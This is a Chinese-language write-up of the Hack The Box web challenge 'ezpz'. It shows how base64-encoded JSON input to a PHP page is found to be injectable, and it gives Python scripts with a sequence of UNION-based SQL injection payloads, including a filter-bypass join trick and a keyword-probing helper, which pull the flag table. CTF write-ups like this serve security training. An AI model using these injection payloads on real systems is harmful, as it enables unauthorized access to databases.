hack the box[HTB]web题之ezpz

ezpz

题目描述

Can you get the flag?

流程

这个题目描述说和没说一个样，直接上网站吧。

emmm，PHP页面，后台还有两个警告。好像可以拿着两个做文章

第一个警告是：obj未定义变量，那么直接在url里面为obj赋值
猜想正确

第二行报错是：尝试从一个空对象获取ID属性
这里小编忘记截图了，思路就是xxx/index.php?obj={"ID":"1"},发现警告没消失，（这里小编试了好几次?obj=ID%3d1|?obj={"ID":"1"}|?obj=<ID>1</ID>）则
F12，看看页面是不是还有其他信息，发现页面说 都是用base64进行编码的

用burpsuite转码成base64，当然也可以用python的base64库

这时候发现页面正常了，那我们也就知道注入格式为?obj={"ID","xxxx"}

手工一个个转码成base64然后注入太麻烦了，上脚本吧

没问题，只需要更改payload即可。

代码如下：

import requests
import base64
from bs4 import BeautifulSoup

def injection(payload):
    params = {
        "obj": base64.b64encode(payload.encode())
    }
    url = "http://docker.hackthebox.eu:30964/index.php"
    r = requests.get(url, params=params)
    soup = BeautifulSoup(r.text, 'html.parser')
    print(soup.body.text.strip())

if __name__ == '__main__':
    payload = '{"ID": "1"}'
    injection(payload)

成功拿下flag

小编这里尝试了较多次的payload ，我把每次尝试的payload都写在下方代码中，大家也可以一个个试体验尝试一下。

import requests
import base64
from bs4 import BeautifulSoup

def injection(payload):
    params = {
        "obj": base64.b64encode(payload.encode())
    }
    url = "http://docker.hackthebox.eu:30964/index.php"
    r = requests.get(url, params=params)
    # 数据处理
    soup = BeautifulSoup(r.text, 'html.parser')
    print(soup.body.text.strip())

def get_blocked_word(s):
    words = s.split(" ")
    for word in words:
        payload = '{{"ID": "-1\' union select * from ((select 1)A join (select \'{}\')B);#"}}'.format(word)
        print(word, injection(payload))



if __name__ == '__main__':
    # # 第1次尝试
    # payload = '{"ID": "1"}'
    # # 第2次尝试
    # payload = '{"ID": "-1\' union select 1, 2"}'
    # # 第3次尝试
    # payload = '{"ID": "-1\' union select * from ( (select 1)A join ( select 2 )B );#"}'
    # # 第4次尝试
    # payload = '{"ID": "-1\' union select * from ( (select 1)A join ( select length(user()) )B );#"}'
    # # 第5次尝试
    # s = "select table_name from information_schema.columns"
    # get_blocked_word(s)
    # 第6次尝试
    payload = '{"ID": "-1\' union select * from ( (select 1)A join ( select * from FlagTableUnguessableEzPZ )B );#"}'
    injection(payload)